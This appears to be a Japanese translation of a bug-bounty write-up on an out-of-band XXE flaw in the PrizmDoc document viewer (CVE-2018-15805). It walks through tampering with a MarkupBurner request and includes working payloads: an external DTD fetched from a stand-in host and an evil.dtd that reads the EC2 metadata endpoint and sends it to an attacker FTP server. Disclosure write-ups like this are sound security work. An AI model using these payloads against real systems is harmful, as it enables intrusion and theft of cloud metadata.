Shikata Ga Nai

Private? There is no such things.

OOB XXE in PrizmDoc (CVE-2018–15805)を訳してみた

Hello there, ('ω')ノ

 

PrizmDoc の OOB XXE (CVE-2018–15805)を。

 

脆弱性:

 XXE

 

記事:

 https://blog.niksthehacker.com/oob-xxe-in-prizmdoc-cve-2018-15805-dfb1e474345c


PrizmDoc について:

PrizmDoc は Web ベースのオンライン ドキュメント ビューアであり、

任意の Web ページに埋め込んだり、任意の Web サイトからリンクしたりできて。

表示されているクライアントは、AJAX テクノロジーを使用してサーバと通信し、

オンザフライでコンテンツの高速レンダリングを作成して。

 

脆弱性:

XML 外部エンティティ攻撃は、XML 入力を解析するアプリケーションに

対する攻撃の一種で。

この攻撃は、機密データの漏洩、サービス妨害、サーバ側のリクエスト偽造、

パーサーが配置されているマシンの観点からのポート スキャン、

およびその他のシステムへの影響につながる可能性があって。

 

脆弱なシステム:

PrizmDoc < 13.5

     当初、これをいくつかのバグ報奨金プログラム

 (prizmdoc の古いバージョンで) で発見しましたが、後で prizmdoc の

 最新バージョンでテストした後はゼロデイであることに気付いて。

 

テスト サーバがなかったため、ここにあるデモ サーバで

POC のテストを実行して。

 

https://www.accusoft.com/demos/file-type-demo/

 

エクスプロイト:

1.URL を参照して。

 https://www.accusoft.com/demos/file-type-demo/


2.ビューアまで下にスクロールして。

3.「ダウンロード」をクリックして。

4.[PDF としてダウンロード] を選択し、

 編集に対応するチェックボックスをオンにして。

5.「ダウンロード」をクリックして。

6.Burp Suiteを使用してリクエストをインターセプトすると、

 リクエストは次のようになり。

 

POST /pcc/ViewingSession/ud6e8-z6riLGCd8LEK-08IonE_yHaGKTl3npOe2Z2dfJ_qnX5YVH2HT2BtFySMgBxT41T9CKW_YG_ilHEFwDhPra9NpkapKoxPWEk2FC 5Zk/MarkupBurner HTTP/1.1 
Host: pcc-demos.accusoft.com 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Content-Type: application/xml 
Accusoft-Gid: GYiW8kmOutLSMTRWwxC45w 
Accusoft-Parent-Name: ViewerControl 
Accusoft-Parent-Pid: 0 
Accusoft-Parent-Taskid: 0 
Referer: https://www.accusoft.com/demos/file-type-demo/ 
Content-Length: 413 
Origin: https://www.accusoft.com 
Connection: close

 

<documentAnnotations><pages>

<page id=”1" pageWidth=”1440" pageHeight=”810"></page><page id=”2" pageWidth=”1440"
pageHeight=”810"></page><page id=”3" pageWidth=”1440"
pageHeight=”810"></page><page id=”4" pageWidth=”1440"
pageHeight=”810"></page></pages><highlights /></documentAnnotations>

 

7.上記のリクエストを変更して、次のような外部 DTD を含めて。

 

<?xml version=”1.0" encoding=”UTF-8"?>

<!DOCTYPE a [ <!ENTITY % asd SYSTEM http://external.url/evil.dtd"> %asd; %c;]>

<documentAnnotations>&rrr;<pages>

<page id=”1" pageWidth=”1440" pageHeight=”810"></page><page id=”2" pageWidth=”1440"
pageHeight=”810"></page><page id=”3" pageWidth=”1440"
pageHeight=”810"></page><page id=”4" pageWidth=”1440"
pageHeight=”810"></page></pages><highlights /></documentAnnotations>

 

8.上記のペイロードでは、dtd ファイルを含む外部 URL を指すエンティティを

 含む外部 DTD を定義し、そのエンティティを &rrr; として呼び出して。

 

<documentAnnotations>

 

DTD ファイルは次のようになって。

 

Evil.dtd:


<!ENTITY % d SYSTEM “http://169.254.169.254/latest/meta-data/hostname">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
 

セットアップ後、ポート上でエミュレートされた FTP サーバを実行し、

このポートがバック接続用に evil.dtd に記載されていることを確認して。

 

<!ENTITY rrr SYSTEM ‘ftp://your-vps-ip:2121/%d;'>">

 

8.次に、ステップ 6 に示すように http リクエストを、ステップ 7 に示す

 XXE ペイロードを使用して変更し、スクリーンショットに示すように再生して。

 

 

 FTP サーバに注目するとスクリーンショットに示すように、

 EC2 メタデータを使用したバック接続を受信して。

 

 

Best regards, (^^ゞ